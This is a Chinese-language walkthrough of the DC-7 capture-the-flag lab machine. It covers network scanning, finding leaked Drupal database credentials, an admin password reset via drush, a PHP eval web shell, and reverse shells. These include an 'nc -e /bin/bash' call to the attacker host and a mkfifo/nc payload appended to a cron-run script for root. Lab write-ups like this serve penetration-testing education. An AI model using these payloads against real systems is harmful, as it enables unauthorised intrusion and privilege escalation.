一、环境搭建
kali的靶攻击机IP地址:192.168.200.14
DC-7靶机的IP地址:暂时未知
注意:靶机和攻击机应处于一个网卡下
通过MAC地址判断靶机DC-7的IP 地址
二、信息收集
1、探索网段内存活的主机
第一种方式:
arp-scan -l
第二种方式:
nmap -T4 -sP 192.168.200.0/24 -oN nmap200.sP
第三种方式:
netdiscover -i eth0 -r 192.168.200.0/24 #eth0代表网卡 -r代表网段
2、扫描站点开放的端口信息
nmap -p 1-65535 192.168.200.10
开放的端口有80端口和22端口
3、扫描目录
4、网站指纹
第一种方式,可以安装火狐插件
第二种方式,在kali当中执行命令
whatweb -v 192.168.200.10
登陆网站,通过火狐插件可以知道网站使用的CMS是Drupal
当然,可以看到网站欢迎界面的英文信息
DC-7引入了一些“新”概念,但我让你来弄清楚它们是什么。:-)
虽然这个挑战并不完全是技术性的,但如果你需要诉诸暴力或字典攻击,你可能不会成功。
你要做的就是跳出框框思考。
盒子外面的路。:-) #可知口令爆破是行不通的
三、漏洞测试
社工手段
百度搜索账户名
是github账户,点击进入
可以看到全是配置文件,然后从底部的英文翻译可以知道,找对地方了
得到数据库账户密码
账户名:dc7user
密码:MdR3xOgB7#dW
数据库名:Staff
几个可能的突破点:
1 网站首页的搜索框,尝试直接查询passwd等文件或直接输入linux命令查看,都以失败收尾;
2 尝试扫描网站目录,没发现什么有价值的目录,倒是发现了robotx.txt文件,这个文件作为常见的可以让爬虫程序扫描的文件之一,控制是否想让爬虫去爬取本站信息;
3 对于robots.txt文件,对里面的目录或者文件都进行了访问查看,未发现有用的信息
没啥有用的,从刚才的账号密码入手进行ssh连接,登陆成功之后,看看home目录下有什么其他账户的文件夹
ssh dc7user@192.168.200.10
发现一个backups文件夹和一个mbox文件
进入backups文件夹,发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码
进入mbox中发现脚本文件的路径
dc7user@dc-7:~$ cd /opt/scripts
dc7user@dc-7:/opt/scripts$ cat backups.sh
主要信息:
Shell脚本文件 /opt/scripts/backups.sh
数据库文件:/home/dc7user/backups/website.sql
网站数据: /home/dc7user/backups/website.tar.gz
drush user-password admin --password="new_pass"
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin 123456为我修改的密码。
drush user-password admin --password="123456"
网页都会存在一个admin账户,也可以在网页的登录界面进行尝试,提示修改成功
来到网站后台,使用admin/123456登录网站,成功登录
http://192.168.200.10/user/login
在Content—>Add content–>Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入
php介绍页面如下,模块包下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
依次点击
安装完之后,跳转,然后点击激活
对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码
<?php
@eval($POST[123]);
?>
欢迎页面是网站的首页,所以直接使用中国蚁剑连接网站,成功连接getshell
反弹SHELL
习惯性的反弹了一次shell到kali,在这里不反弹shell到kali下面也可以在蚁剑虚拟终端上做下面步骤
在kali监听6666端口,并反弹shell到kali,切换shell外壳
nc -e /bin/bash 192.168.200.14 6666
nc -lvvp 6666
python -c 'import pty;pty.spawn("/bin/bash")'
当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
提权
写入反弹shell代码到backups.sh脚本文件中,并在kali监听8899端口,等待计划任务执行,稍微等待后成功getshell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.200.14 8899 >/tmp/f" >> backups.sh
nc -lvvp 8899
# 记得kali也要开启侦听
nc -lvvp 8899
等待之后…
获得flag